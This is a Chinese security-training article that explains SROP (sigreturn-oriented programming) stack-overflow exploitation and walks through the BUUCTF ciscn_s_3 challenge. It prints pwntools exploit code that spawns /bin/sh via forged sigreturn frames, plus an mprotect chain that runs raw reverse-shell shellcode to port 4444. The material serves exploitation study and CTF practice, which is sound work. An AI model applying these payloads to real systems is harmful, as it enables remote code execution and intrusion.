网安知识
栈溢出SROP攻击
2019-10-09 14:41

高级ROP-SROP利用

在刷题时碰到这个考察点,有点震撼,特意记录下。


SROP简介

图片1.png

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn:

图片2.jpg


SROP Attack原理

问题出现在,内核保存的上下文是在用户态控制的栈上(可以伪造的),而切换为用户态时,并没有检查这段内存是否发生改变。也就造成了可利用的可能。

攻击示意图

图片3.jpg


上面的攻击中,需要满足以下几个条件

1、 存在栈溢出

2、可以泄露栈地址,(即可以知道参数的地址)

3、需要syscall的地址

4、需要sigreturn的地址   (强制按照frame内存恢复进程状态)

相比较传统的ROP攻击,需要的gadgets更少,构造更方便。

连续攻击

图片4.jpg

只需要设置栈指针rsp的值为下一个攻击地址,同时rip的地址设置为&(syscall; ret;)即可。

实例

BUUCTF

ciscn_s_3题目

漏洞分析

图片5.png

这里有两个系统调用,需要在gdb调试,发现就是read和write操作。且存在栈溢出


一般ROP

泄露libc地址,利用gadgets执行execve或者system或者one_gadget。

实际操作发现,rdx的值我们无法控制。execve和system都是行不通的。但是发现一个有趣的gadget

图片6.png

这里,实际提供了一个mov eax, 0; ret;的gadget。为one_gadget和read的syscall都可以提供基础。

当然,也可以利用eax是作为函数的返回值的这一个特性,利用read特定的字节得到需要的eax。(注意这里的read也可以是syscall实现的,且上面的mov eax, 0 的gadget可以为我们syscall read提供条件)

可以one_gadget达到get shell的目的。


SROP和攻击。

看到这个题目很少人做出来,猜到应该不是这么简单的操作。而且程序中明确指出的gadget很奇怪

图片7.png

15的系统号是rt_sigreturn,3b的系统调用是execve。(我都没用到。。。)

搜索一番,看到一个师傅的骚操作。

就是我们上面提到的SROP攻击思路,泄露栈地址、并且syscall和rt_sigreturn的gadget都是有的。

学习一波,记录这种方式的exp(pwntools提供了Sigreturn Frame的构建)

payload = "/bin/sh\x00"

payload += '\x00' * 8

payload += p64(main)

p.send(payload)          #write(1, stack_addr, 0x30)
                #will leak an address on stack

p.recv(32)

stack_addr = u64(p.recv(8)) - 0x118  #rsi

print "stack_addr ==> " + hex(stack_addr)

p.recv(8)

#SROP Attack

frame = SigreturnFrame()

frame.rax = constants.SYS_execve

frame.rdi = stack_addr          #&'/bin/sh'

frame.rsi = 0

frame.rdx = 0

frame.rsp = stack_addr

frame.rip = syscall

payload = 'a'*0x10

payload += p64(rt_sigreturn)      #强制sigreturn,改变frame

payload += p64(syscall)

payload += str(frame)

p.send(payload)

p.interactive()

p.close()

拓展利用-连续攻击生成backdoor。(return shell with reverse tcp 0.0.0.0 4444)

这里用到mprotect(start, len, prot)修改栈为RWX属性。

直接设置fake frame的rsp为shellcode的地址。

main = 0x4004F1

syscall = 0x400517       #syscall; ret
  rt_sigreturn = 0x4004DA     #mov eax, 0xf; ret
   
  payload = '\x00' * 0x10
payload += p64(main)
  p.send(payload)          #write(1, stack_addr, 0x30)
                #will leak an address on stack
  p.recv(32)
 
  stack_addr = u64(p.recv(8)) - 0x118  #rsi
  print "stack_addr ==> " + hex(stack_addr)
  p.recv(8)
 
 
  frame1 = SigreturnFrame()       
  frame1.rax = constants.SYS_mprotect
  frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000
  frame1.rsi = 0x1000             
  frame1.rdx = 7             
  frame1.rsp = stack_addr + 0x120    #frame2_sigreturn
  frame1.rip = syscall
 
 
  shellcode =  "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" \
         "\x5e\x48\x31\xd2\x0f\x05\x48\x97" \
       "\x6a\x02\x66\xc7\x44\x24\x02\x11" \
       "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" \
       "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" \
       "\x58\x48\xff\xce\x0f\x05\xe0\xf6" \
       "\x48\x31\xf6\x56\x48\xbf\x2f\x62" \
       "\x69\x6e\x2f\x2f\x73\x68\x57\x54" \
       "\x5f\xb0\x3b\x99\x0f\x05"
 
  payload = '\x00'*0x10           #rop_chain  stack_addr+8
  payload += p64(rt_sigreturn)
  payload += p64(syscall)          #sigreturn
  payload += str(frame1)
  payload += p64(stack_addr + 0x128)
payload += shellcode

在4444监听之后,运行exp就可以看到得到了返回的shell。

图片8.png


几个注意点

1、一个frame框架是0xf8大小(0x64)。

2、泄露的栈地址,返回再次利用时,偏移可能有些变动,建议调试确定。

3、对于连续利用的所有指针参数,利用pop_ret的方式将参数保存在栈上,从而可以确参数定地址。


SROP与ROP的比较


SROP攻击的更多资料

多说一句这种攻击方式,真心觉得强大

推荐实验ARM漏洞利用技术四--内存布局及栈溢出

上一篇:JavaScript Prototype污染攻击
下一篇:ThinkPHP v5.1.x POP 链分析
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731